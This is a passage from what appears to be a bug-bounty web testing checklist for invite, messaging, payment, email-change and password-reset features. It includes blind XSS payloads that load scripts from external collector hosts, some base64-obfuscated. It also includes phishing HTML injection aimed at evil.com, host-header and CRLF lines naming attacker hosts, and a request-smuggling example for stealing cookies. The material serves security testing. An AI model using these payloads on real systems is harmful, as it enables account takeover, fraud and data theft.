* [ ] Go to the invite user flow and capture the `POST /api/brands/users/invite/` request in Burp
* [ ] Duplicate the request into **2 tabs** in Burp Repeater
* [ ] Set `role: viewer` in Request A
* [ ] Set `role: admin` in Request B
* [ ] Select both tabs → send as **single-packet concurrent requests** (Burp's "Send group in parallel")
* [ ] Check the **target email inbox** — confirm **2 separate invite links** arrived
* [ ] Accept the **Viewer** invite → verify account is locked as Viewer
* [ ] While still logged in, open the **Admin** invite link
* [ ] Confirm the account is now **Admin** despite role immutability

***

**Bonus Variant — Ghost Admin (UI shows Viewer, backend is Admin)**

* [ ] Repeat the race condition steps above to generate both invite links
* [ ] Accept the **Admin** invite first
* [ ] Then accept the **Viewer** invite
* [ ] Check UI → account appears as **Viewer**
* [ ] Perform an **Admin-only action** via API → confirm it succeeds
* [ ] Document the mismatch: UI = Viewer, backend = Admin

</details>

<details>

<summary><strong>U+3164 Hangul Filler</strong></summary>

**Part 1 — Duplicate Invitation Bypass**

* [ ] Log in as an **Admin**
* [ ] Invite `victim@target.com` normally — confirm it works
* [ ] Intercept the second invite request in Burp
* [ ] In the `email` field, append the **Hangul Filler** character `U+3164` after the email → `"victim@target.com ㅤ"` (copy the char: `ㅤ`)
* [ ] Send the request
* [ ] Confirm the response is **`201 Created`** instead of a duplicate/already-invited error
* [ ] Check that **two separate invite emails** arrived in the victim's inbox

***

**Part 2 — Permanent Account Lockout (DoS)**

* [ ] As Admin, send a poisoned invite with `victim@target.comㅤ` (U+3164 appended)
* [ ] From the victim's inbox, have the victim **click the poisoned invite link** and complete registration
* [ ] Confirm the account was created successfully and visually looks normal
* [ ] Now attempt to **log in as the victim** using `victim@target.com` (clean, no invisible char)
* [ ] Confirm **authentication fails** — backend can't find the clean email
* [ ] Check the **admin dashboard** — verify the malformed email looks identical to the real one (invisible char not visible)
* [ ] Document: victim is permanently locked out with no obvious way to self-recover

***

**Quick tip for injecting U+3164 in Burp:** switch the request to **Hex view**, find the end of the email value, and insert bytes `E3 85 A4` (UTF-8 encoding of U+3164). Or just copy the character `ㅤ` directly into the raw request body.

</details>

### Messaging Features

<details>

<summary><strong>Injection</strong></summary>

* [ ] Blind XSS/HTML Injection
* [ ] HTML injection in email rendering
* [ ] XSS HTML Injection in email section
* [ ] Inject in message body
* [ ] Inject in subject/title
* [ ] Inject in reply field
* [ ] Email header injection (`\n`, `%0a`)

```html
tester'\"/><<h1>h1>ester0x88<</h1>/h1>
0x88"><<img/src=https://tinyurl.com/ynaeed3d>img/src=https://tinyurl.com/ynaeed3d>
Your Account has been suspended you should change your password From Here <a/href=https://evil.com>change password</a
```

* [ ] Check execution in:
  * [ ] Web UI
  * [ ] Email notifications

</details>

<details>

<summary><strong>Markup Injection</strong></summary>

{% embed url="<https://medium.com/@iframe_h1/a-picture-that-steals-data-ff604ba1012>" %}

1. Go to <https://iplogger.org/>
2. Choose invisible
3. Image send the message

</details>

<details>

<summary><strong>IDOR</strong></summary>

* [ ] Change message ID in request → access other users’ messages
* [ ] Change conversation/thread ID → view other conversations
* [ ] Modify user/client ID in requests
* [ ] Send message as another user
* [ ] Modify recipient ID

</details>

<details>

<summary><strong>Improper Session Validation After Logout</strong></summary>

* [ ] Access messages after logout
* [ ] Reuse old session token after logout

</details>

<details>

<summary><strong>Privilege Escalation</strong></summary>

* [ ] Reply to a thread you shouldn’t have access to
* [ ] Access deleted/archived messages via direct endpoint
* [ ] Client accessing firm staff messages
* [ ] Staff accessing unauthorized threads

</details>

<details>

<summary><strong>Data Leakage in API Responses</strong></summary>

* [ ] Inspect API responses for hidden fields
* [ ] Leak email addresses or internal IDs
* [ ] Check for data leakage across accounts
* [ ] Trigger errors → check for stack traces
* [ ] Message metadata leakage

</details>

<details>

<summary><strong>Unauthenticated Access to APIs</strong></summary>

* [ ] Access APIs without authentication

</details>

<details>

<summary><strong>File Upload Issues</strong></summary>

* [ ] Upload `.html` files
* [ ] Upload `.svg` files
* [ ] Upload `.js` files
* [ ] Upload `PDF` with embedded `JS`
* [ ] Double extensions (`file.jpg.html`)
* [ ] Bypass `Content-Type` validation
* [ ] Inject payload in filename
* [ ] Access uploaded files via direct URL
* [ ] Modify sender ID
* [ ] Access other users’ attachments (IDOR)

</details>

<details>

<summary><strong>Leaked Sensitive Information in Email Notifications</strong></summary>

* [ ] Email contains full message content
* [ ] Email leaks sensitive data like emails
* [ ] Email exposes internal IDs or hidden fields
* [ ] Secure messaging leaks via email

</details>

<details>

<summary><strong>Rate Limit Issues</strong></summary>

* [ ] Check rate limiting
* [ ] Trigger multiple notifications (spam)
* [ ] Race Condition
* [ ] Send high volume of messages quickly
* [ ] Email bombing via notifications
* [ ] Very long messages (10k+ chars) -> `DoS Potential`

</details>

<details>

<summary><strong>BAC</strong></summary>

* [ ] Replay request (duplicate messages)
* [ ] Modify message content after sending
* [ ] Send message when messaging is disabled
* [ ] Send message when user is blocked
* [ ] Bypass client/staff messaging restrictions

</details>

<details>

<summary><strong>CSRF</strong></summary>

* [ ] Build CSRF PoC (auto-send message)

</details>

<details>

<summary><strong>Improper Input Validation</strong></summary>

* [ ] Unicode / RTL text
* [ ] Emojis
* [ ] Null byte injection (`%00`)
* [ ] Broken JSON / missing parameters

</details>

### Money-Related Features

{% embed url="<https://sallam.gitbook.io/sec-88/methodologies-checklists/industry-based-web-checklist>" %}

<details>

<summary><strong>Refund Feature Abuse</strong></summary>

* [ ] Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible.
* [ ] Try for currency arbitrage
* [ ] Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds.

</details>

<details>

<summary><strong>Cart/Wish list Abuse</strong></summary>

* [ ] Add a product in **negative quantity** with other products in positive quantity to balance the amount.
* [ ] Add a product in more than the available quantity.
* [ ] Try to see when you add a product to your Wish-list and move it to a cart if it is possible to move it to some other user’s cart or delete it from there.

</details>

<details>

<summary><strong>IDOR in Order Number</strong></summary>

```python
https://example.com/account/orders/12345
GET /account.php?history=y&orderno=10425128 HTTP/2
https://example.com/pdf/><ordernumber>.pdf
https://example.com/pdf/10425128.pdf
```

</details>

<details>

<summary><strong>Leaking Credit Card Details in Responses</strong></summary>

{% code overflow="wrap" %}

```python
I was testing a CRM (Customer Relationship Management) application, in which help desk representatives were only able to view basic customer details: their first and last names, their location, and the last 4 digits of their credit card number. But when I inspected the response, I found that the developers returned extra information that was not visible in the application view:
   
HTTP/1.1 200 OK
Host: vulnlab.com

{“first_name”: “Harry”, “last_name”: “Potter”, “isAdmin”: false, “location”:“London”, “last_bill_cycle”: “110219”, “mask_cc”: “******4510”, “exp_date”: “08/23”, “cvv”: “123”, “full_card”: “6011111111114510”}
```

{% endcode %}

</details>

<details>

<summary><strong>Previously made orders with victim's email leading to Order History and PII leaks</strong></summary>

**Here's what to look for:**

1. Target app that permits guest orders without creating an account
2. Target app doesn't require email verification for new account creation, or you've found an email verification bypass on sign-up

**Steps to reproduce**

1. Place an order on the site as a "Guest" and use the victim's email during checkout, e.g., `victim@example.com`
2. The victim receives an email with the receipt
3. As an attacker, sign up using the email `victim@example.com` assuming there's no email verification
4. Navigate to the account's order history page, and you might strike gold by finding the previously made orders, leading to Order History and PII leaks

</details>

<details>

<summary><strong>Bypass Transfer Money Limit</strong></summary>

Use negative number to exceed money transfer limit

{% code overflow="wrap" %}

```python
private function CheckDayLimit($amount)
 {
   if($amount > 3000){
   return false;
 }
   return true;
 }
```

{% endcode %}

So, this could be overcome by using a simple negative number. In the end, I bypassed this business logic by the following request:

{% code overflow="wrap" %}

```http
PUT /v1/api/transfer-money HTTP/1.1
Host: vulnlab.com
Content-Type: application/json

{‘csrf_token’: ‘RWFzdGVyIGVnZyEgWW91RhdGEg=’,’amount’: ‘-4500’, ‘currency’: ‘USD’, ‘customer_account’: ‘012-90829-012’}
```

{% endcode %}

And the response was:

{% code overflow="wrap" %}

```http
HTTP/1.1 200 OK
Host: vulnlab.com
```

{% endcode %}

Why did this happen?

It seems that in the rest of the application logic, negative numbers in the amount parameter were generated as positive numbers.

However, the negative value could override the “greater than” logic, letting us process the transaction and bypass the business requirement.

</details>

<details>

<summary><strong>Borrow Money Without Return</strong></summary>

* [ ] Change the loan return date to --> `31/February`

Example

{% code overflow="wrap" %}

```http
PUT /v1/api/customer/loan HTTP/1.1
Host: vulnlab.com
Content-Type: application/json

{‘csrf_token’: ‘RWFzdGVyIGVnZyEgWW91RhdGEg=’, ‘loadId’: ‘PID6459’,‘first_payment’:‘11032015’}
```

{% endcode %}

Edit it to:

{% code overflow="wrap" %}

```http
PUT /v1/api/customer/loan HTTP/1.1
Host: vulnlab.com
Content-Type: application/json

{‘csrf_token’: ‘RWFzdGVyIGVnZyEgWW91RhdGEg=’, ‘loadId’: ‘PID6459’,‘first_payment’: ‘31022015’}
```

{% endcode %}

**Explain:**\
Obviously, there are only 28 days in February (and 29 days in a leap year). Hence, in\
the above case, it means that we can receive the loan, while the return payment date\
would never arrive.

</details>

<details>

<summary><strong>Discount/Gifts Flaws</strong></summary>

* [ ] Apply the **same code** more than once to see if the coupon code is reusable.
* [ ] Input the gift code and intercept the request and remove it from the request
* [ ] Manipulate the response when reuse the discount code
* [ ] Discount is for multiple Items ? collect items and intercept the request change it to one item
* [ ] No Rate Limit --> <https://hackerone.com/reports/123091>
* [ ] Race Condition --> <https://hackerone.com/reports/157996>

{% code overflow="wrap" %}

```
POC:
- Visit your account and select 'Promo Codes'.
- Select redeem promo code, and add any promo code. For example, I found the code 'dallas20'.
- Intercept the request using a proxy, and make the request multiple times, asynchronously.
- The code will be redeemed multiple times.
```

{% endcode %}

* [ ] **Race Condition allows to redeem multiple times gift cards which leads to free "money"**
* [ ] [**Race conditions can be used to bypass invitation limit**](https://hackerone.com/reports/115007)

{% embed url="<https://hackerone.com/reports/759247>" %}

* [ ] Try Mass Assignment or **HTTP Parameter Pollution** to see if you can add multiple coupon codes while the application only accepts one code from the Client Side.
* [ ] Try performing attacks that are caused by missing input sanitization such as **XSS, SQLi**, etc. on this field
* [ ] Try adding discount codes on the products which **are not covered under discounted** items by tampering with the request on the server-side.

</details>

<details>

<summary><strong>Buy Products at lower price</strong></summary>

1. Add cheap items to the cart.
2. During the payment process, capture the encrypted payment data being sent to the payment gateway.
3. Initiate another shopping process and add expensive/multiple items to the cart.
4. Replace the payment data with the previously captured data.
5. If the application does not cross-validate the data, we’ll be able to buy products at a lower price

</details>

<details>

<summary><strong>IDOR in Change Price</strong></summary>

1. make a request to buy anything
2. try changing the price in request/response

</details>

<details>

<summary><strong>Currency Arbitrage</strong></summary>

1. Pay in 1 currency say USD and try to get a refund in EUR.
2. Due to the diff in conversion rates, it might be possible to gain more amount.
3. Change USD to any poor currency

</details>

<details>

<summary><strong>Delivery Charges Abuse</strong></summary>

* [ ] Try tampering with the delivery charge rates to `-ve` values to see if the final amount can be reduced.
* [ ] Try checking for the free delivery by tampering with the params.

</details>

<details>

<summary><strong>Rate Limit Issues</strong></summary>

* [ ] [There is no rate limit for contact-us endpoints](https://hackerone.com/reports/856305)
* [ ] Rate Limit Bypass

</details>

<details>

<summary><strong>IDOR Leads to Access Other Users Attachments</strong></summary>

* [ ] Test if the The Attachments Links has Predictable IDs

</details>

<details>

<summary><strong>Attachments Links Can Be Accessed After Form Submissions</strong></summary>

* [ ] Copy The Links of your attachment before submitting the form
* [ ] Submit the form and try to access the link from another browser

</details>

<details>

<summary><strong>Injection Attacks</strong></summary>

* [ ] [Blind XSS on image upload support chat](https://hackerone.com/reports/1010466)
* [ ] Blind XSS

{% code overflow="wrap" %}

```html
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL004U1pUOCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs&#61; onerror=eval(atob(this.id))>
'"><script src=//xss.report/s/M8SZT8></script>
"><script src="https://js.rip/l5j9hbki0b"></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2w1ajloYmtpMGIiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
```

{% endcode %}

* [ ] HTML injection

{% code overflow="wrap" %}

```html
Https://evil.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaa%20%22<b>hello</b><h1>hacker</h1><a Href='abc.com'>xxxx</a>abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaacxcccc
```

{% endcode %}

* [ ] IMG injection

{% code overflow="wrap" %}

```html
 "/><img src="x"><a href="https://evil.com">login</a>
```

{% endcode %}

</details>

### Change Email

<details>

<summary><strong>Domain-Based Authorization Hijacking</strong></summary>

> Identify critical features linked to a user's email domain. For instance, consider a target app that grants access to resources based on your email domain. Some apps let you join a team or workspace directly if your email matches the team's domain (e.g., join Victim SITE XYZ only with sample\@victimsitexyz\[.]com). Others restrict access to documents or videos based on email domain whitelisting. Numerous such opportunities exist where email plays a crucial role.

[Unlocking Important Resources with Email Verification Bypass](https://x.com/Jayesh25/status/1725429962931335599)

1. Log in to your attacker account and change your email address to an attacker-controlled email (e.g., <attackeremail@attackerdomain.com>).
2. You'll likely receive an email confirmation link on your attacker-controlled email (Do not verify it yet).

* Now, change your email to the unregistered email or domain you wish to HIJACK (e.g., <victimemail@victimdomain.com>).
* This action will send an email verification link to <victimemail@victimdomain.com>, which you don't have access to.
* Try clicking on the "Email" verification link sent earlier to <attackeremail@attackerdomain.com>. If the system fails to revoke the previous email verification link,
* the link for <attackeremail@attackerdomain.com> could end up verifying the email for <victimemail@victimdomain.com>, allowing you to claim it as verified.

1. Once you've claimed an email associated with another organization's domain, identify the associated functions to prove impact and report it to earn some generous bounties

</details>

<details>

<summary><strong>Improper Integrity Leads to ATO</strong></summary>

{% embed url="<https://akashhamal0x01.medium.com/watch-out-the-links-account-takeover-32b9315390a7>" %}

1. An attacker links `attacker@website.com` to their account.
2. An attacker sends a email-change confirmation link to a victim.
3. A victim follows the link from an email while logged into an application.
4. An application links `attacker@website.com` to a victim.

</details>

<details>

<summary><strong>Improper Session Validation</strong></summary>

* [ ] [Insufficient Session Expiration - Previously issued email change tokens do not expire upon issuing a new email change token](https://hackerone.com/reports/1006677)
* [ ] [user changes mail to attacker@gmail.com -> user realizes that he mistyped the mail -> so he again changes to mail he owns and verifies it -> old link sent to attacker@gmail.com is still active even after new mail has been verified](https://cysky0x1.medium.com/full-account-takeover-due-to-oauth-misconfiguration-50d8747b268e)

</details>

<details>

<summary><strong>Misconfiguration Between Email Change and Registration Features</strong></summary>

1. Request to change the email to `test@x.y`
2. You will receive a confirmation link
3. Don't confirm and go register account
4. Then use email changing confirmation link

</details>

<details>

<summary><strong>ATO by changing the email to existing account</strong></summary>

* [ ] IDN Homograph Attack
* [ ] Bypassing “email already exists” error By `NULL Byte Attack` and `Special Characters %20` at the end `your@email.com%20`

</details>

<details>

<summary><strong>Email-Change Confirmation Workflow and</strong> <strong>OAUTH misconfiguration</strong></summary>

1. Go to account settings and change mail address to <victim2@gmail.com>
2. Link will be sent to <victim2@gmail.com>, now the user realizes that he have lost access to <victim2@gmail.com> due to some reasons
3. Change mail to the another mail address for e.g <victim3@gmail.com> which he owns and has access to
4. Even after verifying <victim3@gmail.com>, the old link which was sent to <victim2@gmail.com> is active, so user/attacker having access to that mail can verify it and Observe the OAuth misconfiguration that leads to account takeover

</details>

<details>

<summary><strong>XSS/HTML Injection</strong></summary>

* [ ] Test XSS in email Section
* [ ] Test Html Injection Reflected in Victim EMail after changing your email to his email

</details>

<details>

<summary><strong>Lack of password confirmation when email change</strong></summary>

* [ ] [No Password Verification on Changing Email Address Cause ATO](https://hackerone.com/reports/292673)

</details>

<details>

<summary><strong>IDOR to ATO</strong></summary>

1- We create an account\
2- Then we log in\
3- go to edit profile\
4- We open burp suite\
5- Then we intercepted to the request to save the modification\
6- We’re gonna change the email to the victim’s email And Enter a new password Through the burpsuite\
7- Then we send the request to the intruder\
8- Now we’re gonna guess the victim’s (user\_idx)\
9- We will guess the user\_idx\
10- We will guess the user\_idx from 1 to 2500\
11- Another note I noticed when accepting the request will be in the response (“result”:1)and when not accepting it will be (“result”:-1)\
12- Therefore, before turning on the intruder, we search for “result”: 1 by Grep in options\
13- Then we turn on the intruder\
14- We will notice after completion, find the user\_idx of the victim , and the new password has already been set for this account and therefore we can log in with the email and the new password that we created

</details>

### Reset Password

<details>

<summary>Host Header Poisoning</summary>

{% embed url="<https://0xacb.com/normalization_table>" %}

{% code overflow="wrap" %}

```matlab
victim.com@attacker.com
```

{% endcode %}

</details>

<details>

<summary>IDN Homograph Attack leads to ATO</summary>

{% embed url="<https://infosecwriteups.com/how-i-was-able-to-change-victims-password-using-idn-homograph-attack-587111843aff>" %}

</details>

<details>

<summary>Password reset with manipulating email parameter (BAC)</summary>

{% code overflow="wrap" %}

```http
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
#No domain:
email=victim
#No TLD (Top Level Domain):
email=victim@xyz
#change param case 
email=victim@mail.com&Email=attacker@mail.com
email@email.com,victim@hack.secry  
email@email“,”victim@hack.secry  
email@email.com:victim@hack.secry  
email@email.com%0d%0avictim@hack.secry  
%0d%0avictim@hack.secry  
%0avictim@hack.secry  
victim@hack.secry%0d%0a  
victim@hack.secry%0a  
victim@hack.secry%0d  
victim@hack.secry%00  
victim@hack.secry{{}}
```

{% endcode %}

</details>

<details>

<summary>Response Manipulation to ATO</summary>

1. Do Normal Reset Password Process and note the successful response
2. Request for reset password token
3. enter 00000 or any random number
4. Intercept the response
5. delete error message and change the status code to 200 and change body like what you noted in step

</details>

<details>

<summary>IDOR to ATO</summary>

IDOR on Reset Password\
The last one was also an Basic IDOR, When I requested for reset password then the request response looks like this

<figure><img src="/files/amlFWH6v7i3HN8lSaFtB" alt=""><figcaption></figcaption></figure>

Then OTP came to my email and I entered the OTP but when I entered new password and captured that request

<figure><img src="/files/E0wGFDWq3wQc7FDzVWKD" alt=""><figcaption></figcaption></figure>

Then I noticed there was no OTP field, but there was a user id, which was encrypted but was being leaked in the response, so I just replaced it with the user id of another account, and bam, my other account’s password was changed.

</details>

<details>

<summary>Race Condition</summary>

{% embed url="<https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities>" %}

</details>

<details>

<summary>Weak Password Reset Token</summary>

* [ ] Completely remove the token
* [ ] change it to `00000000`...
* [ ] use `null/nil` value
* [ ] try expired token
* [ ] try an array of old tokens
* [ ] look for race conditions
* [ ] change 1 char at the begin/end to see if the token is evaluated
* [ ] use unicode char jutzu to spoof email address
* [ ] [Bruteforcing password reset tokens](https://hackerone.com/reports/271533)

> The password reset token should be randomly generated and unique every time.\
> Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.

* [ ] Timestamp
* [ ] UserID
* [ ] Email of User
* [ ] Firstname and Lastname
* [ ] Date of Birth
* [ ] Cryptography
* [ ] Number only
* [ ] Small token sequence ( characters between \[A-Z,a-z,0-9])
* [ ] Token reuse
* [ ] Token expiration date

{% embed url="<https://vasuyadav0786.medium.com/weak-cryptography-to-account-takeovers-87782224ed0d>" %}

</details>

<details>

<summary>No length on password Leads to DOS</summary>

{% embed url="<https://hackerone.com/reports/1411363>" %}

</details>

<details>

<summary>Injection Attacks in email section</summary>

[#xss-html-injection](#xss-html-injection "mention")

</details>

<details>

<summary>Rate Limit Issues</summary>

{% embed url="<https://hackerone.com/reports/1166066>" %}

</details>

<details>

<summary>Enumeration of username on password reset page</summary>

{% embed url="<https://hackerone.com/reports/806151>" %}

</details>

<details>

<summary>Password reset token leaked via Referer header</summary>

* [ ] Request password reset to your email address
* [ ] Click on the password reset link
* [ ] Don't change password
* [ ] Click any 3rd party websites(eg: Facebook, twitter)
* [ ] Intercept the request in burp-suite proxy
* [ ] Check if the referer header is leaking password reset token. Reference:

{% embed url="<https://hackerone.com/reports/1320242>" %}

{% embed url="<https://hackerone.com/reports/342693>" %}

{% embed url="<https://hackerone.com/reports/272379>" %}

{% embed url="<https://hackerone.com/reports/737042>" %}

{% embed url="<https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a>" %}

{% embed url="<https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1>" %}

Impact It allows the person who has control of particular site to change the user’s password (CSRF attack), because this person knows reset password token of the user.

</details>

<details>

<summary>HTML Injection on password reset page</summary>

{% embed url="<https://github.com/KathanP19/HowToHunt/blob/master/HTML_Injection/HTML_Injection_on_password_reset_page.md>" %}

1. Create your account
2. Edit your name to `<h1>attacker</h1>` or `"abc><h1>attacker</h1>` and save it.
3. Request for a reset password and check your email.
4. You will notice the `<h1>` tag getting executed

* HTML injection are usually considered as low to medium severity bugs but you can escalate the severity by serving a malicious link by using `<a href>` for eg: `<h1>attacker</h1><a href="your-controlled-domain"Click here</a>`
* You can redirect the user to your malicious domain and serve a fake reset password page to steal credentials Also you can serve a previously found XSS page and steal user cookies etc etc.. The creativity lies on you..

</details>

<details>

<summary>Password Policy Restriction Bypass</summary>

{% embed url="<https://hackerone.com/reports/1675730>" %}

</details>

<details>

<summary>Token Invalidation Issues</summary>

* [ ] Token is Not Invalidated After Email Change/Password Change

{% embed url="<https://hackerone.com/reports/411337>" %}

* [ ] Failure to Invalidate Session > On Password Reset

{% embed url="<https://hackerone.com/reports/411337>" %}

* [ ] Token is Not Invalidated After Use
* [ ] Token Has Long Timed Expiry
* [ ] Token is Not Invalidated After New Token is Requested
* [ ] Token is Not Invalidated After Login

</details>

<details>

<summary>Reset Password via Username ? Try Making two accounts same username but different emails</summary>

{% embed url="<https://shahjerry33.medium.com/duplicate-registration-the-twinning-twins-883dfee59eaf>" %}

</details>

<details>

<summary>CRLF</summary>

with CLRF: `/resetPassword?0a%0dHost:atracker.tld` (x-host, true-client-ip, x-forwarded...)

</details>

<details>

<summary>Account Takeover Via HTTP Request Smuggling</summary>

1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)

{% code overflow="wrap" %}

```bash
git clone https://github.com/defparam/smuggler.git 
cd smuggler
python3 smuggler.py -h
```

{% endcode %}

2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
3. `GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies
4. Final request could look like the following

{% code overflow="wrap" %}

```http
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```

{% endcode %}

Hackerone reports exploiting this bug

{% embed url="<https://hackerone.com/reports/737140>" %}

{% embed url="<https://hackerone.com/reports/771666>" %}

</details>

### Change Password

<details>

<summary><strong>Missing rate limit in current password</strong></summary>

{% embed url="<https://hackerone.com/reports/1170522>" %}

**Steps To Reproduce:**

1. Login to <https://reddit.com/>
2. Navigate to user settings > Change password
3. Enter incorrect password in old password field and enter a new matching passwords in other two fields
4. Turn on your burpsuite proxy and click save
5. You'll notice the error as Incorrect password
6. send the request <https://www.reddit.com/change_password> to your burpsuite intruder to bruteforce
7. Add the payload to the `current_password` parameter
8. select list of passwords for like 100 lines and start attack

</details>

<details>

<summary><strong>Password change is confirmed when not matching</strong></summary>

{% embed url="<https://hackerone.com/reports/803028>" %}

1. Open your wallet.
2. Go to settings.
3. Change wallet password.
4. Enter old password.
5. You now have prompt with two passwords.
6. Enter your new password in the first line.
7. Leaving confirmation blank press enter.
8. Password is changed successfully without confirmation.

</details>

<details>

<summary><strong>CSRF</strong></summary>

{% embed url="<https://hackerone.com/reports/230436>" %}

[CSRF](/web-appsec/csrf.md)

</details>

<details>

<summary><strong>Misconfiguration (IDOR)in Change-password Functionality</strong></summary>

**Attack Workflow:**

1. Change the email to the victim email.
2. Remove \[The Header (**X\_auth\_credentials**) and the Parameter (‘**currentPassword** ‘)].
3. Put any new password you want
4. Send the request and you got 200 OK as a response.
5. Login to the victim account with the new password and here we go you successfully accessed his account.

{% embed url="<https://0x2m.medium.com/misconfiguration-in-change-password-functionality-leads-to-account-takeover-1314b5507abf>" %}

</details>

<details>

<summary><strong>User Account Takeover</strong></summary>

{% embed url="<https://rohitcoder.medium.com/user-account-takeover-password-change-nice-catch-2293f4d272b2>" %}

### Reproduction steps: <a href="#id-1f76" id="id-1f76"></a>

1. Login into your site.com account.
2. Navigate to [https://www.site.com/users/\[user\_id\]/edit](https://hackerone.com/redirect?signature=b78087cc6960e30f9345e7df07444d659d0d8972\&url=https%3A%2F%2Fwww.thelevelup.com%2Fusers%2F%257BUSER_ID%257D%2Fedit)
3. Now, you will see a form which allows you to edit your account details and there is also another option to change your current password which requires your old password but this can be bypassed easily.
4. Now, for bypassing this change password feature. Just edit your account details and then submit this request and meanwhile intercept it.
5. Now you will notice some **$\_POST** fields which will be like

`user[first_name] // For changing first name`\
`user[last_name] // For changing last name`

</details>

<details>

<summary><strong>Abused 2FA to maintain persistence after a password change</strong></summary>

{% embed url="<https://medium.com/@lukeberner/how-i-abused-2fa-to-maintain-persistence-after-a-password-change-google-microsoft-instagram-7e3f455b71a1>" %}

* [ ] **Step 1: Initiate Login (Attacker)** In Browser A, enter the account's username and current password.
* [ ] **Step 2: Hold at 2FA Prompt (Attacker)** When prompted for the 2FA code, do **not** enter it. Leave this tab open and idle.
* [ ] **Step 3: Simulate Account Recovery (Victim)** In Browser B, log into the account (or use the forgot password flow).
* [ ] **Step 4: Change Password & Disable 2FA (Victim)**\
  Change the account password. This *should* terminate all active and pending sessions. For maximum impact, completely disable 2FA on the account as well.
* [ ] **Step 5: Test Session Timeout Bypass (Attacker - Optional)**\
  Wait 20-30 minutes. If the 2FA page has a timeout, try to refresh the session token by clicking options like "Try another way" and then re-selecting the 2FA app/SMS method.
* [ ] **Step 6: Execute the Login (Attacker)** Back in Browser A, input a valid 2FA code (generated from the authenticator app or SMS) and hit enter.
* [ ] **Step 7: Verify Impact** Observe if Browser A successfully authenticates and logs into the account. If successful, you have bypassed the password reset and 2FA disablement security controls.

</details>

<details>

<summary><strong>Old session dose not expire after password change</strong></summary>

{% embed url="<https://hackerone.com/reports/1166076>" %}

**STEPS TO REPRODUCE:**

1. create account in <https://app.upchieve.org/> and login in two browser \[firefox an Chrome]
2. Go to reset password and change it
3. You will see that session not expire and account
4. The account is still loged in with old password

</details>

<details>

<summary><strong>Response Manipulation</strong></summary>

</details>

### Change User Name

<details>

<summary><strong>Path Overwrite</strong></summary>

* [ ] `test.com/user/tester` —> Try Path Overwrite -> `test.com/user/login.php`

{% embed url="<https://infosecwriteups.com/logical-flaw-resulting-path-hijacking-dd4d1e1e832f>" %}

</details>

<details>

<summary><strong>Injection Bugs</strong></summary>

* [ ] [XSS via Account Name](https://hackerone.com/reports/34725)
* [ ] [ATO PII chained with stored XSS](https://hackerone.com/reports/1483201)
* [ ] self XSS to Open Redirect

  ```jsx
  I decided to check the site's login (which contains registration through Google)
  I found that you can register with any email without verification
  Here I registered my email associated with Google without verifying the email and put the payload, but here I did not need to steal his cookie so I used
  			<meta http-equiv="Refresh"content="5;url=evil.com">
  I logged into my account via Google
  Once I enter the settings, it directs me to another site
  Thus, you can prevent any user from registering for an account and adjusting the name
  ```

</details>

<details>

<summary><strong>BOPLA: Broken Object Property Level Authorization</strong></summary>

* [ ] Request manipulation to change user name leads to email change

  ```jsx
  Prevent people from registering with a Google account
  In the beginning, I created an account on the site test.com
   (the site contains a login feature from Google)
  -------------------------------------------
  1. I went to the settings and found the site does not allow changing the email with which you created the account with
  2. I decided to take the request for changing the name and added a parameter called "<email:test@gmail.com>"
  3. You can enter any person's email without authentication
  4. The account email has been changed to the email written above
  5. I logged in again to the site, but from a second browser via Google (test@gmail.com), I was rejected, and I got a Forbidden access
  6. I tried to reset the password I was banned from entering my account permanently.
  --------------------------------------------------------------------------
  ```

</details>

### Change Phone Numbers

<details>

<summary><strong>Direct API Reuse (The GraphQL/REST Bypass)</strong></summary>

* [ ] **Re-play registration endpoints:** Locate the original onboarding/signup requests (`SetPhoneNumber`, `VerifyPhoneNumber`, `/api/v1/register/phone`) and resend them from an active, fully established session with a new number.
* [ ] **Test HTTP verb swapping:** If the registration used a `POST` request to set the number, try a `PUT` or `PATCH` request to the profile endpoint using the same parameter names.
* [ ] **Omit conditional parameters:** If the API uses a parameter like `"is_signup": true` or `"step": 3`, keep it in the request to trick the backend into thinking you are still in the onboarding phase.

</details>

<details>

<summary><strong>Parameter Pollution</strong></summary>

* [ ] **Inject secondary parameters:** Look for parameters like `mobile`, `phone`, `telephone`, or `contact_number` in general profile update requests (`POST /api/v1/user/update`), even if the UI only lets you change your name or bio.
* [ ] **Array/JSON wrapping:** If the API accepts JSON, try injecting the phone parameter into different blocks, or try parameter pollution:

```http
POST /api/user/settings

email=user@test.com&phone=+1234567890
```

</details>

<details>

<summary><strong>Test GraphQL field injection</strong></summary>

* [ ] **Test GraphQL field injection:** Query the schema or try manually adding the phone mutation fields into a standard profile update mutation (e.g., adding `phoneNumber: "+1234567890"` inside an `updateProfile` mutation).

</details>

<details>

<summary><strong>Verification &#x26; State Flaws</strong></summary>

